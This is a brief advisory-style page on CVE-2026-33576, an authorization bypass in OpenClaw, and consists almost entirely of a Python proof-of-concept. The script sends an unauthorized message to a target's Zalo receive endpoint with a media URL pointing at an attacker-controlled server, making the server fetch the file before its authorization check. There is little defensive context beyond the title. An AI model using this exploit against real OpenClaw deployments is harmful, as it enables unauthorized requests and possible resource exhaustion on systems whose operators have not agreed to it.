CVE-2026-33576 OpenClaw授权绕过漏洞

import requests # Conceptual PoC for CVE-2026-33576 # This script simulates sending a malicious message to an OpenClaw instance # to trigger unauthorized media download before authorization checks. target_url = "http://target-openclaw-instance/api/zalo/receive" malicious_media_url = "http://attacker-controlled-server/large_file.bin" payload = { "sender_id": "unauthorized_user", "message": "test payload", "media_url": malicious_media_url } try: # Send the message to the vulnerable endpoint response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Message sent. Server likely downloaded the media before rejecting the message.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")